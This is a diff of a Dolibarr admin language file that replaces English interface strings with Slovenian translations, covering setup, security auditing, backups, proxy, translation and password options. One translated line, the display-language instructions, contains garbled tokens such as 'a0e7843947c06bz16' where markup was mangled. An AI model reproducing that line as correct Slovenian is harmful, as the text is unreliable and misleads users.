-Delays_MAIN_DELAY_MEMBERS=Delayed membership fee -Delays_MAIN_DELAY_CHEQUES_TO_DEPOSIT=Check deposit not done -Delays_MAIN_DELAY_EXPENSEREPORTS=Expense report to approve -Delays_MAIN_DELAY_HOLIDAYS=Leave requests to approve -SetupDescription1=Before starting to use Dolibarr some initial parameters must be defined and modules enabled/configured. -SetupDescription2=The following two sections are mandatory (the two first entries in the Setup menu): -SetupDescription3=%s -> %s

      Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4=%s -> %s

      This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. -SetupDescription5=Other Setup menu entries manage optional parameters. -SetupDescriptionLink=%s - %s -SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. -AuditedSecurityEvents=Security events that are audited -NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s -Audit=Security events -InfoDolibarr=About Dolibarr -InfoBrowser=About Browser -InfoOS=About OS -InfoWebServer=About Web Server -InfoDatabase=About Database -InfoPHP=About PHP -InfoPerf=About Performances -InfoSecurity=About Security +DelaysOfToleranceBeforeWarning=Prikaz opozorila za ... +DelaysOfToleranceDesc=Nastavite zakasnitev, preden se na zaslonu prikaže opozorilna ikona %s za pozni element. +Delays_MAIN_DELAY_ACTIONS_TODO=Načrtovani dogodki (dnevni red dogodkov) niso zaključeni +Delays_MAIN_DELAY_PROJECT_TO_CLOSE=Projekt ni pravočasno zaključen +Delays_MAIN_DELAY_TASKS_TODO=Načrtovana naloga (projektne naloge) ni izvedena +Delays_MAIN_DELAY_ORDERS_TO_PROCESS=Naročilo ni obdelano +Delays_MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS=Naročilo ni obdelano +Delays_MAIN_DELAY_PROPALS_TO_CLOSE=Predlog ni zaprt +Delays_MAIN_DELAY_PROPALS_TO_BILL=Predlog ni zaračunan +Delays_MAIN_DELAY_NOT_ACTIVATED_SERVICES=Storitev za aktiviranje +Delays_MAIN_DELAY_RUNNING_SERVICES=Storitev je potekla +Delays_MAIN_DELAY_SUPPLIER_BILLS_TO_PAY=Neplačan prejeti račun +Delays_MAIN_DELAY_CUSTOMER_BILLS_UNPAYED=Neplačan račun stranke +Delays_MAIN_DELAY_TRANSACTIONS_TO_CONCILIATE=Čakanje na bančno uskladitev +Delays_MAIN_DELAY_MEMBERS=Zamujena članarina +Delays_MAIN_DELAY_CHEQUES_TO_DEPOSIT=Ček depozit ni opravljen +Delays_MAIN_DELAY_EXPENSEREPORTS=Poročilo o stroških za odobritev +Delays_MAIN_DELAY_HOLIDAYS=Zahteve pustite v odobritvi +SetupDescription1=Preden začnete uporabljati Dolibarr, morate definirati nekaj začetnih parametrov in omogočiti/konfigurirati module. +SetupDescription2=Naslednja dva razdelka sta obvezna (prva dva vnosa v meniju Nastavitve): +SetupDescription3= %s -> %s

      Osnovni parametri, ki se uporabljajo za prilagoditev privzetega delovanja vaše aplikacije (npr. za funkcije, povezane z državo). +SetupDescription4= %s -> %s

      Ta programska oprema je zbirka številnih modulov/aplikacij. Moduli, povezani z vašimi potrebami, morajo biti omogočeni in konfigurirani. Z aktivacijo teh modulov se prikažejo vnosi v meniju. +SetupDescription5=Drugi vnosi v nastavitvenem meniju upravljajo izbirne parametre. +SetupDescriptionLink= %s - %s +SetupDescription3b=Osnovni parametri, ki se uporabljajo za prilagajanje privzetega vedenja vaše aplikacije (npr. za funkcije, povezane z državo). +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. +AuditedSecurityEvents=Varnostni dogodki, ki so revidirani +NoSecurityEventsAreAduited=Noben varnostni dogodek ni revidiran. Omogočite jih lahko v meniju %s +Audit=Varnostni dogodki +InfoDolibarr=O Dolibarru +InfoBrowser=O brskalniku +InfoOS=O OS +InfoWebServer=O spletnem strežniku +InfoDatabase=O bazi podatkov +InfoPHP=O PHP +InfoPerf=O predstavah +InfoSecurity=O varnosti BrowserName=Ime brskalnika BrowserOS=OS brskalnika ListOfSecurityEvents=Seznam varnostnih dogodkov Dolibarr SecurityEventsPurged=Varnostni dogodki očistimo -TrackableSecurityEvents=Trackable security events -LogEventDesc=Enable logging for specific security events. Administrators the log via menu %s - %s. Warning, this feature can generate a large amount of data in the database. -AreaForAdminOnly=Setup parameters can be set by administrator users only. +TrackableSecurityEvents=Sledljivi varnostni dogodki +LogEventDesc=Omogoči beleženje določenih varnostnih dogodkov. Administratorji dnevnik prek menija %s - %s . Opozorilo, ta funkcija lahko ustvari veliko količino podatkov v zbirki podatkov. +AreaForAdminOnly=Nastavitvene parametre lahko nastavijo samo skrbniški uporabniki . SystemInfoDesc=Sistemske informacije so raznovrstne tehnične informacije, ki so na voljo samo v bralnem načinu in jih vidi samo administrator. -SystemAreaForAdminOnly=This area is available to administrator users only. Dolibarr user permissions cannot change this restriction. -CompanyFundationDesc=Edit the information of your company/organization. Click on "%s" button at the bottom of the page when done. -AccountantDesc=If you have an external accountant/bookkeeper, you can edit here its information. -AccountantFileNumber=Accountant code -DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. -AvailableModules=Available app/modules +SystemAreaForAdminOnly=To področje je na voljo samo skrbniškim uporabnikom. Uporabniška dovoljenja Dolibarr ne morejo spremeniti te omejitve. +CompanyFundationDesc=Uredite podatke o svojem podjetju/organizaciji. Ko končate, kliknite gumb "%s" na dnu strani. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". +AccountantDesc=Če imate zunanjega računovodjo/knjigovodjo, lahko tukaj uredite njegove podatke. +AccountantFileNumber=Koda računovodje +DisplayDesc=Tukaj lahko spremenite parametre, ki vplivajo na videz in predstavitev aplikacije. +AvailableModules=Razpoložljiva aplikacija/moduli ToActivateModule=Za aktivacijo modula, pojdite na področje nastavitev (Domov->Nastavitve->Moduli). SessionTimeOut=Potečen čas seje -SessionExplanation=This number guarantees that the session will never expire before this delay, if the session cleaner is done by Internal PHP session cleaner (and nothing else). Internal PHP session cleaner does not guarantee that the session will expire after this delay. It will expire, after this delay, and when the session cleaner is run, so every %s/%s access, but only during access made by other sessions (if value is 0, it means clearing of session is done only by an external process).
      Note: on some servers with an external session cleaning mechanism (cron under debian, ubuntu ...), the sessions can be destroyed after a period defined by an external setup, no matter what the value entered here is. -SessionsPurgedByExternalSystem=Sessions on this server seems to be cleaned by an external mechanism (cron under debian, ubuntu ...), probably every %s seconds (= value of parameter session.gc_maxlifetime), so changing the value here has no effect. You must ask the server administrator to change session delay. +SessionExplanation=Ta številka zagotavlja, da seja nikoli ne bo potekla pred to zakasnitvijo, če čistilec sej izvede notranji čistilec sej PHP (in nič drugega). Notranji čistilec sej PHP ne zagotavlja, da bo seja potekla po tej zakasnitvi. Potekel bo po tej zakasnitvi in ko se zažene čistilec seje, torej vsak %s/%s dostop, vendar samo med dostopom drugih sej (če je vrednost 0, to pomeni, da čiščenje seje izvede samo zunanji postopek).
      Opomba: na nekaterih strežnikih z zunanjim mehanizmom za čiščenje sej (cron pod debian, ubuntu ...) se lahko seje uničijo po obdobju, ki ga določi zunanja nastavitev, ne glede na to, kakšna je tukaj vnesena vrednost. +SessionsPurgedByExternalSystem=Zdi se, da se seje na tem strežniku čisti z zunanjim mehanizmom (cron pod debian, ubuntu ...), verjetno vsakih %s sekund (= vrednost parametra session.gc_maxlifetime tukaj nima učinka), tako da sprememba vrednosti tukaj ne vpliva. Za spremembo zakasnitve seje morate prositi skrbnika strežnika. TriggersAvailable=Možni prožilci -TriggersDesc=Triggers are files that will modify the behavior of Dolibarr workflow once copied into the directory htdocs/core/triggers. They realize new actions, activated on Dolibarr events (new company creation, invoice validation, ...). +TriggersDesc=Sprožilci so datoteke, ki bodo spremenile vedenje poteka dela Dolibarr, ko bodo kopirane v imenik htdocs/core/triggers . Realizirajo nove akcije, ki se aktivirajo na dogodkih Dolibarr (ustanovitev novega podjetja, potrjevanje računov, ...). TriggerDisabledByName=Prožilci v tej datoteki so onemogočeni s predpono -NORUN v njihovem imenu. TriggerDisabledAsModuleDisabled=Prožilci v tej datoteki so onemogočeni, ker je onemogočen modul %s . TriggerAlwaysActive=Prožilci v tej datoteki so aktivni vedno, ne glede na aktiven Dolibarr module. TriggerActiveAsModuleActive=Prožilci v tej datoteki so aktivni, ker je omogočen modul %s . -GeneratedPasswordDesc=Choose the method to be used for auto-generated passwords. -DictionaryDesc=Insert all reference data. You can add your values to the default. -ConstDesc=This page allows you to edit (override) parameters not available in other pages. These are mostly reserved parameters for developers/advanced troubleshooting only. -MiscellaneousDesc=All other security related parameters are defined here. +GeneratedPasswordDesc=Izberite metodo, ki bo uporabljena za samodejno ustvarjena gesla. +DictionaryDesc=Vnesite vse referenčne podatke. Svoje vrednosti lahko dodate privzetim. +ConstDesc=Ta stran vam omogoča urejanje (preglasitev) parametrov, ki niso na voljo na drugih straneh. To so večinoma rezervirani parametri samo za razvijalce/napredno odpravljanje težav. +MiscellaneousOptions=Miscellaneous options +MiscellaneousDesc=Tukaj so definirani vsi ostali varnostni parametri. LimitsSetup=Nastavitve omejitev/natančnosti -LimitsDesc=You can define limits, precisions and optimizations used by Dolibarr here -MAIN_MAX_DECIMALS_UNIT=Max. decimals for unit prices -MAIN_MAX_DECIMALS_TOT=Max. decimals for total prices -MAIN_MAX_DECIMALS_SHOWN=Max. decimals for prices shown on screen. Add an ellipsis ... after this parameter (e.g. "2...") if you want to see "..." suffixed to the truncated price. -MAIN_ROUNDING_RULE_TOT=Step of rounding range (for countries where rounding is done on something other than base 10. For example, put 0.05 if rounding is done by 0.05 steps) +LimitsDesc=Tukaj lahko določite omejitve, natančnosti in optimizacije, ki jih uporablja Dolibarr +MAIN_MAX_DECIMALS_UNIT=maks. decimalke za cene na enoto +MAIN_MAX_DECIMALS_TOT=maks. decimalke za skupne cene +MAIN_MAX_DECIMALS_SHOWN=maks. decimalke za cene prikazane na zaslonu . Za tem parametrom dodajte trojico ... (npr. "2..."), če želite videti " ... " pripono k okrnjeni ceni. +MAIN_ROUNDING_RULE_TOT=Korak obsega zaokroževanja (za države, kjer se zaokroževanje izvaja na podlagi nečesa drugega kot z osnovo 10. Vnesite na primer 0,05, če se zaokroževanje izvaja s koraki 0,05) UnitPriceOfProduct=Neto cena enote proizvoda -TotalPriceAfterRounding=Total price (excl/vat/incl tax) after rounding +TotalPriceAfterRounding=Skupna cena (brez DDV/DDV) po zaokroževanju ParameterActiveForNextInputOnly=Parameter bo veljal šele pri naslednjem vnosu. -NoEventOrNoAuditSetup=No security event has been logged. This is normal if Audit has not been enabled in the "Setup - Security - Events" page. -NoEventFoundWithCriteria=No security event has been found for this search criteria. +NoEventOrNoAuditSetup=Zabeležen ni bil noben varnostni dogodek. To je normalno, če revizija ni bila omogočena na strani »Nastavitve – Varnost – Dogodki«. +NoEventFoundWithCriteria=Za ta iskalni kriterij ni bil najden noben varnostni dogodek. SeeLocalSendMailSetup=Glejte lokalne nastavitve za pošiljanje pošte -BackupDesc=A complete backup of a Dolibarr installation requires two steps. -BackupDesc2=Backup the contents of the "documents" directory (%s) containing all uploaded and generated files. This will also include all the dump files generated in Step 1. This operation may last several minutes. -BackupDesc3=Backup the structure and contents of your database (%s) into a dump file. For this, you can use the following assistant. -BackupDescX=The archived directory should be stored in a secure place. +BackupDesc=Popolna varnostna kopija namestitve Dolibarr zahteva dva koraka. +BackupDesc2=Varnostno kopirajte vsebino imenika "dokumenti" ( %s ), ki vsebuje vse naložene in ustvarjene datoteke. To bo vključevalo tudi vse datoteke izpisa, ustvarjene v 1. koraku. Ta operacija lahko traja nekaj minut. +BackupDesc3=Varnostno kopirajte strukturo in vsebino vaše baze podatkov ( %s ) v datoteko izpisa. Za to lahko uporabite naslednjega pomočnika. +BackupDescX=Arhivirani imenik naj bo shranjen na varnem mestu. BackupDescY=Generirano dump datoteko morate shraniti na varno mesto. -BackupPHPWarning=Backup cannot be guaranteed with this method. Previous one recommended. -RestoreDesc=To restore a Dolibarr backup, two steps are required. -RestoreDesc2=Restore the backup file (zip file for example) of the "documents" directory to a new Dolibarr installation or into this current documents directory (%s). -RestoreDesc3=Restore the database structure and data from a backup dump file into the database of the new Dolibarr installation or into the database of this current installation (%s). Warning, once the restore is complete, you must use a login/password, that existed from the backup time/installation to connect again.
      To restore a backup database into this current installation, you can follow this assistant. +BackupPHPWarning=S to metodo ni mogoče zagotoviti varnostnega kopiranja. Priporočena prejšnja. +RestoreDesc=Za obnovitev varnostne kopije Dolibarr sta potrebna dva koraka. +RestoreDesc2=Obnovite varnostno kopijo (na primer datoteko zip) imenika "documents" v novo namestitev Dolibarr ali v ta trenutni imenik dokumentov ( %s ). +RestoreDesc3=Obnovite strukturo baze podatkov in podatke iz varnostne datoteke izpisa v bazo podatkov nove namestitve Dolibarr ali v bazo podatkov te trenutne namestitve ( %s ). Opozorilo, ko je obnovitev končana, morate za ponovno povezavo uporabiti prijavo/geslo, ki je obstajalo od časa varnostnega kopiranja/namestitve.
      Če želite obnoviti varnostno bazo podatkov v to trenutno namestitev, lahko sledite temu pomočniku. RestoreMySQL=Uvoz MySQL ForcedToByAModule=To pravilo je postavljeno v %s z aktivnim modulom -ValueIsForcedBySystem=This value is forced by the system. You can't change it. -PreviousDumpFiles=Existing backup files -PreviousArchiveFiles=Existing archive files -WeekStartOnDay=First day of the week -RunningUpdateProcessMayBeRequired=Running the upgrade process seems to be required (Program version %s differs from Database version %s) +ValueIsForcedBySystem=To vrednost vsiljuje sistem. Ne moreš ga spremeniti. +PreviousDumpFiles=Obstoječe varnostne kopije datotek +PreviousArchiveFiles=Obstoječe arhivske datoteke +WeekStartOnDay=Prvi dan v tednu +RunningUpdateProcessMayBeRequired=Zdi se, da je treba izvesti postopek nadgradnje (različica programa %s se razlikuje od različice baze podatkov %s) YouMustRunCommandFromCommandLineAfterLoginToUser=Ta ukaz morate pognati iz ukazne vrstice po prijavi v sistem kot uporabnik %s. YourPHPDoesNotHaveSSLSupport=SSL funkcije niso na voljo v vašem PHP DownloadMoreSkins=Prenos dodatnih preoblek -SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset -SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset -ShowProfIdInAddress=Show professional ID with addresses -ShowVATIntaInAddress=Hide intra-Community VAT number +SimpleNumRefModelDesc=Vrne referenčno številko v obliki zapisa %syymm-nnnn, kjer je yy leto, mm je mesec in nnnn je zaporedno samodejno naraščajoče število brez ponastavitve +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Vrne referenčno številko v obliki zapisa %syymm-nnnn, kjer je yy leto, mm je mesec in nnnn je zaporedno samodejno naraščajoče število brez ponastavitve +SimpleNumRefNoDateModelDesc=Vrne referenčno številko v obliki zapisa %s-nnnn, kjer je nnnn zaporedno samodejno naraščajoče število brez ponastavitve +ShowProfIdInAddress=Pokaži poklicno izkaznico z naslovi +ShowVATIntaInAddress=Skrij številko DDV znotraj Skupnosti TranslationUncomplete=Delni prevod -MAIN_DISABLE_METEO=Disable weather thumb -MeteoStdMod=Standard mode -MeteoStdModEnabled=Standard mode enabled -MeteoPercentageMod=Percentage mode -MeteoPercentageModEnabled=Percentage mode enabled -MeteoUseMod=Click to use %s +MAIN_DISABLE_METEO=Onemogoči vremensko palico +MeteoStdMod=Standardni način +MeteoStdModEnabled=Standardni način je omogočen +MeteoPercentageMod=Odstotni način +MeteoPercentageModEnabled=Odstotni način je omogočen +MeteoUseMod=Kliknite za uporabo %s TestLoginToAPI=Testna prijava na API -ProxyDesc=Some features of Dolibarr require internet access. Define here the internet connection parameters such as access through a proxy server if necessary. -ExternalAccess=External/Internet Access -MAIN_PROXY_USE=Use a proxy server (otherwise access is direct to the internet) -MAIN_PROXY_HOST=Proxy server: Name/Address -MAIN_PROXY_PORT=Proxy server: Port -MAIN_PROXY_USER=Proxy server: Login/User -MAIN_PROXY_PASS=Proxy server: Password -DefineHereComplementaryAttributes=Define any additional / custom attributes that must be added to: %s +ProxyDesc=Nekatere funkcije Dolibarra zahtevajo dostop do interneta. Tukaj določite parametre internetne povezave, kot je dostop prek proxy strežnika, če je potrebno. +ExternalAccess=Zunanji/internetni dostop +MAIN_PROXY_USE=Uporabite proxy strežnik (sicer je dostop neposreden do interneta) +MAIN_PROXY_HOST=Proxy strežnik: ime/naslov +MAIN_PROXY_PORT=Proxy strežnik: Vrata +MAIN_PROXY_USER=Proxy strežnik: Prijava/Uporabnik +MAIN_PROXY_PASS=Proxy strežnik: Geslo +DefineHereComplementaryAttributes=Določite vse dodatne atribute/atribute po meri, ki jih je treba dodati: %s ExtraFields=Koplementarni atributi ExtraFieldsLines=Koplementarni atributi (postavke) -ExtraFieldsLinesRec=Complementary attributes (templates invoices lines) +ExtraFieldsLinesRec=Dopolnilni atributi (vrstice predlog računov) ExtraFieldsSupplierOrdersLines=Koplementarni atributi (vrstice naročila) ExtraFieldsSupplierInvoicesLines=Koplementarni atributi (vrstice računi) -ExtraFieldsThirdParties=Complementary attributes (third party) -ExtraFieldsContacts=Complementary attributes (contacts/address) +ExtraFieldsThirdParties=Dodatni atributi (partner) +ExtraFieldsContacts=Dopolnilni atributi (stiki/naslov) ExtraFieldsMember=Koplementarni atributi (član) ExtraFieldsMemberType=Koplementarni atributi (tip člana) ExtraFieldsCustomerInvoices=Koplementarni atributi (računi) -ExtraFieldsCustomerInvoicesRec=Complementary attributes (templates invoices) +ExtraFieldsCustomerInvoicesRec=Dopolnilni atributi (predloge računov) ExtraFieldsSupplierOrders=Koplementarni atributi (naročila) ExtraFieldsSupplierInvoices=Koplementarni atributi (računi) ExtraFieldsProject=Koplementarni atributi (projekti) ExtraFieldsProjectTask=Koplementarni atributi (naloge) -ExtraFieldsSalaries=Complementary attributes (salaries) +ExtraFieldsSalaries=Dopolnilni atributi (plače) ExtraFieldHasWrongValue=Atribut %s ima napačno vrednost. AlphaNumOnlyLowerCharsAndNoSpace=samo alfanumerični znaki in male črke brez presledkov SendmailOptionNotComplete=Pozor, na nekaterih Linux sistemih mora za pošiljanje pošte z vašega naslova nastavitev vsebovati opcijo -ba (parameter mail.force_extra_parameters v vaši datoteki php.ini). Če nekateri prejemniki nikoli ne dobijo pošte, poskusite popraviti PHP parameter z mail.force_extra_parameters = -ba). PathToDocuments=Pot do dokumentov PathDirectory=Mapa -SendmailOptionMayHurtBuggedMTA=Feature to send mails using method "PHP mail direct" will generate a mail message that might not be parsed correctly by some receiving mail servers. The result is that some mails can't be read by people hosted by those bugged platforms. This is the case for some Internet providers (Ex: Orange in France). This is not a problem with Dolibarr or PHP but with the receiving mail server. You can however add an option MAIN_FIX_FOR_BUGGED_MTA to 1 in Setup - Other to modify Dolibarr to avoid this. However, you may experience problems with other servers that strictly use the SMTP standard. The other solution (recommended) is to use the method "SMTP socket library" which has no disadvantages. -TranslationSetup=Setup of translation -TranslationKeySearch=Search a translation key or string -TranslationOverwriteKey=Overwrite a translation string -TranslationDesc=How to set the display language:
      * Default/Systemwide: menu Home -> Setup -> Display
      * Per user: Click on the username at the top of the screen and modify the User Display Setup tab on the user card. -TranslationOverwriteDesc=You can also override strings filling the following table. Choose your language from "%s" dropdown, insert the translation key string into "%s" and your new translation into "%s" -TranslationOverwriteDesc2=You can use the other tab to help you know which translation key to use -TranslationString=Translation string -CurrentTranslationString=Current translation string -WarningAtLeastKeyOrTranslationRequired=A search criteria is required at least for key or translation string -NewTranslationStringToShow=New translation string to show -OriginalValueWas=The original translation is overwritten. Original value was:

      %s -TransKeyWithoutOriginalValue=You forced a new translation for the translation key '%s' that does not exist in any language files -TitleNumberOfActivatedModules=Activated modules -TotalNumberOfActivatedModules=Activated modules: %s / %s +SendmailOptionMayHurtBuggedMTA=Funkcija za pošiljanje e-pošte z metodo "PHP mail direct" bo ustvarila e-poštno sporočilo, ki ga nekateri prejemni poštni strežniki morda ne bodo pravilno razčlenili. Posledica tega je, da ljudje, ki jih gostijo te platforme s hrošči, ne morejo prebrati nekaterih sporočil. To velja za nekatere internetne ponudnike (npr. Orange v Franciji). To ni težava z Dolibarr ali PHP, temveč s strežnikom za prejemno pošto. Vendar pa lahko dodate možnost MAIN_FIX_FOR_BUGGED_MTA na 1 v Nastavitve - Drugo, da spremenite Dolibarr in se temu izognete. Vendar pa lahko naletite na težave z drugimi strežniki, ki strogo uporabljajo standard SMTP. Druga rešitev (priporočena) je uporaba metode "Knjižnica vtičnic SMTP", ki nima nobenih pomanjkljivosti. +TranslationSetup=Nastavitev prevoda +TranslationKeySearch=Poiščite prevodni ključ ali niz +TranslationOverwriteKey=Prepiši prevodni niz +TranslationDesc=Kako nastaviti jezik prikaza:
      * Privzeto/sistemsko: meni Domov -> Nastavitve -> Zaslon
      * Na uporabnika: kliknite uporabniško ime na vrhu zaslona in spremenite a0e7843947c06bz16 na zavihku User Displaydup a06bz706 User Settingsfc kartica. +TranslationOverwriteDesc=Lahko tudi preglasite nize, ki polnijo naslednjo tabelo. V spustnem meniju »%s« izberite svoj jezik, vstavite niz prevodnega ključa v »%s« in svoj novi prevod v »%s« +TranslationOverwriteDesc2=Lahko uporabite drugi zavihek, da boste lažje vedeli, kateri prevodni ključ uporabiti +TranslationString=Prevajalski niz +CurrentTranslationString=Trenutni prevodni niz +WarningAtLeastKeyOrTranslationRequired=Iskalni kriterij je potreben vsaj za ključ ali prevodni niz +NewTranslationStringToShow=Nov prevodni niz za prikaz +OriginalValueWas=Izvirni prevod je prepisan. Prvotna vrednost je bila:

      %s +TransKeyWithoutOriginalValue=Vsilili ste nov prevod za prevodni ključ ' %s ', ki ne obstaja v nobeni jezikovni datoteki +TitleNumberOfActivatedModules=Aktivirani moduli +TotalNumberOfActivatedModules=Aktivirani moduli: %s / %s YouMustEnableOneModule=Omogočiti morate vsaj 1 modul -YouMustEnableTranslationOverwriteBefore=You must first enable translation overwriting to be allowed to replace a translation -ClassNotFoundIntoPathWarning=Class %s not found in PHP path +YouMustEnableTranslationOverwriteBefore=Najprej morate omogočiti prepisovanje prevoda, da lahko zamenjate prevod +ClassNotFoundIntoPathWarning=Razreda %s ni mogoče najti v PHP poti YesInSummer=Da poleti -OnlyFollowingModulesAreOpenedToExternalUsers=Note, only the following modules are available to external users (irrespective of the permissions of such users) and only if permissions are granted:
      +OnlyFollowingModulesAreOpenedToExternalUsers=Upoštevajte, da so samo naslednji moduli na voljo zunanjim uporabnikom (ne glede na dovoljenja teh uporabnikov) in samo, če so dovoljenja dodeljena:
      SuhosinSessionEncrypt=Shranjevanje seje kriptirano s Suhosin ConditionIsCurrently=Trenutni pogoj je %s -YouUseBestDriver=You use driver %s which is the best driver currently available. -YouDoNotUseBestDriver=You use driver %s but driver %s is recommended. -NbOfObjectIsLowerThanNoPb=You have only %s %s in the database. This does not require any particular optimization. -ComboListOptim=Combo list loading optimization +YouUseBestDriver=Uporabljate gonilnik %s, ki je trenutno najboljši gonilnik. +YouDoNotUseBestDriver=Uporabljate gonilnik %s, priporočamo pa gonilnik %s. +NbOfObjectIsLowerThanNoPb=V bazi podatkov imate samo %s %s. To ne zahteva posebne optimizacije. +ComboListOptim=Optimizacija nalaganja kombiniranega seznama SearchOptim=Iskanje optimizacijo -YouHaveXObjectUseComboOptim=You have %s %s in the database. You can go into setup of module to enable loading of combo list on key pressed event. -YouHaveXObjectUseSearchOptim=You have %s %s in the database. You can add the constant %s to 1 in Home-Setup-Other. -YouHaveXObjectUseSearchOptimDesc=This limits the search to the beginning of strings which makes it possible for the database to use indexes and you should get an immediate response. -YouHaveXObjectAndSearchOptimOn=You have %s %s in the database and constant %s is set to %s in Home-Setup-Other. -BrowserIsOK=You are using the %s web browser. This browser is ok for security and performance. -BrowserIsKO=You are using the %s web browser. This browser is known to be a bad choice for security, performance and reliability. We recommend using Firefox, Chrome, Opera or Safari. -PHPModuleLoaded=PHP component %s is loaded -PreloadOPCode=Preloaded OPCode is used -AddRefInList=Display Customer/Vendor ref. into combo lists.
      Third Parties will appear with a name format of "CC12345 - SC45678 - The Big Company corp." instead of "The Big Company corp". -AddVatInList=Display Customer/Vendor VAT number into combo lists. -AddAdressInList=Display Customer/Vendor adress into combo lists.
      Third Parties will appear with a name format of "The Big Company corp. - 21 jump street 123456 Big town - USA" instead of "The Big Company corp". -AddEmailPhoneTownInContactList=Display Contact email (or phones if not defined) and town info list (select list or combobox)
      Contacts will appear with a name format of "Dupond Durand - dupond.durand@email.com - Paris" or "Dupond Durand - 06 07 59 65 66 - Paris" instead of "Dupond Durand". -AskForPreferredShippingMethod=Ask for preferred shipping method for Third Parties. +YouHaveXObjectUseComboOptim=V bazi podatkov imate %s %s. Lahko greste v nastavitve modula, da omogočite nalaganje kombiniranega seznama ob dogodku s pritiskom na tipko. +YouHaveXObjectUseSearchOptim=V bazi podatkov imate %s %s. Konstanto %s lahko dodate na 1 v Home-Setup-Other. +YouHaveXObjectUseSearchOptimDesc=To omeji iskanje na začetek nizov, kar zbirki podatkov omogoča uporabo indeksov, zato bi morali prejeti takojšen odgovor. +YouHaveXObjectAndSearchOptimOn=V bazi podatkov imate %s %s in konstanta %s je nastavljena na %s v Home-Setup-Other. +BrowserIsOK=Uporabljate spletni brskalnik %s. Ta brskalnik je v redu glede varnosti in zmogljivosti. +BrowserIsKO=Uporabljate spletni brskalnik %s. Znano je, da je brskalnik slaba izbira glede varnosti, zmogljivosti in zanesljivosti. Priporočamo uporabo Firefoxa, Chroma, Opere ali Safarija. +PHPModuleLoaded=Naložena je komponenta PHP %s +PreloadOPCode=Uporablja se prednaložena OPCode +AddRefInList=Prikaz kode Kupca/Dobavitelja v spustnih seznamih.
      Partnerji bodo prikazani v obliki "CC12345 - SC45678 - Demo podjetje d.o.o." namesto "Demo podjetje d.o.o.". +AddVatInList=Prikaži številko DDV stranke/prodajalca v kombiniranih seznamih. +AddAdressInList=Prikaži naslov kupca/dobavitelja v spustnih seznamih.
      Partnerji bodo prikazani z nazivom "Demo podjetje d.o.o. - Podbevška cesta 1 2000 Maribor - SLO" namesto "Demo podjetje d.o.o.". +AddEmailPhoneTownInContactList=Prikaz e-pošte stika (ali telefonov, če niso določeni) in seznama informacij o mestu (izberite seznam ali kombinirano polje)
      Stiki bodo prikazani z obliko imena »Dupond Durand - dupond.durand@email.com - Pariz« ali »Dupond Durand - 06 07 59 65 66 - Pariz" namesto "Dupond Durand". +AskForPreferredShippingMethod=Vprašajte partnerja za željeni način pošiljanja. FieldEdition=%s premenjenih polj FillThisOnlyIfRequired=Primer: +2 (uporabite samo, če se pojavijo težave s časovno cono) GetBarCode=Pridobi črtno kodo -NumberingModules=Numbering models -DocumentModules=Document models +NumberingModules=Modeli oštevilčenja +DocumentModules=Modeli dokumentov ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. -PasswordGenerationNone=Do not suggest a generated password. Password must be typed in manually. -PasswordGenerationPerso=Return a password according to your personally defined configuration. -SetupPerso=According to your configuration -PasswordPatternDesc=Password pattern description +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. +PasswordGenerationNone=Ne predlagajte ustvarjenega gesla. Geslo morate vnesti ročno. +PasswordGenerationPerso=Vrnite geslo glede na vašo osebno definirano konfiguracijo. +SetupPerso=Glede na vašo konfiguracijo +PasswordPatternDesc=Opis vzorca gesla ##### Users setup ##### -RuleForGeneratedPasswords=Rules to generate and validate passwords -DisableForgetPasswordLinkOnLogonPage=Do not show the "Password Forgotten" link on the Login page +RuleForGeneratedPasswords=Pravila za ustvarjanje in potrjevanje gesel +DisableForgetPasswordLinkOnLogonPage=Ne prikažite povezave »Pozabljeno geslo« na strani za prijavo UsersSetup=Nastavitve modula uporabnikov -UserMailRequired=Email required to create a new user -UserHideInactive=Hide inactive users from all combo lists of users (Not recommended: this may means you won't be able to filter or search on old users on some pages) -UsersDocModules=Document templates for documents generated from user record -GroupsDocModules=Document templates for documents generated from a group record +UserMailRequired=Za ustvarjanje novega uporabnika je potreben e-poštni naslov +UserHideInactive=Skrij neaktivne uporabnike z vseh kombiniranih seznamov uporabnikov (ni priporočljivo: to lahko pomeni, da na nekaterih straneh ne boste mogli filtrirati ali iskati starih uporabnikov) +UsersDocModules=Predloge dokumentov za dokumente, ustvarjene iz uporabniškega zapisa +GroupsDocModules=Predloge dokumentov za dokumente, ustvarjene iz skupinskega zapisa ##### HRM setup ##### -HRMSetup=HRM module setup +HRMSetup=Nastavitev HRM modula ##### Company setup ##### CompanySetup=Modul za nastavitve podjetij -CompanyCodeChecker=Options for automatic generation of customer/vendor codes -AccountCodeManager=Options for automatic generation of customer/vendor accounting codes -NotificationsDesc=Email notifications can be sent automatically for some Dolibarr events.
      Recipients of notifications can be defined: -NotificationsDescUser=* per user, one user at a time. -NotificationsDescContact=* per third-party contacts (customers or vendors), one contact at a time. -NotificationsDescGlobal=* or by setting global email addresses in the setup page of the module. -ModelModules=Document Templates -DocumentModelOdt=Generate documents from OpenDocument templates (.ODT / .ODS files from LibreOffice, OpenOffice, KOffice, TextEdit,...) +CompanyCodeChecker=Nastavitve samodejnega ustvarjanja dobaviteljevih kod +AccountCodeManager=Možnosti za samodejno ustvarjanje računovodskih kod za dobavitelje +NotificationsDesc=Za nekatere dogodke Dolibarr se lahko samodejno pošljejo e-poštna obvestila.
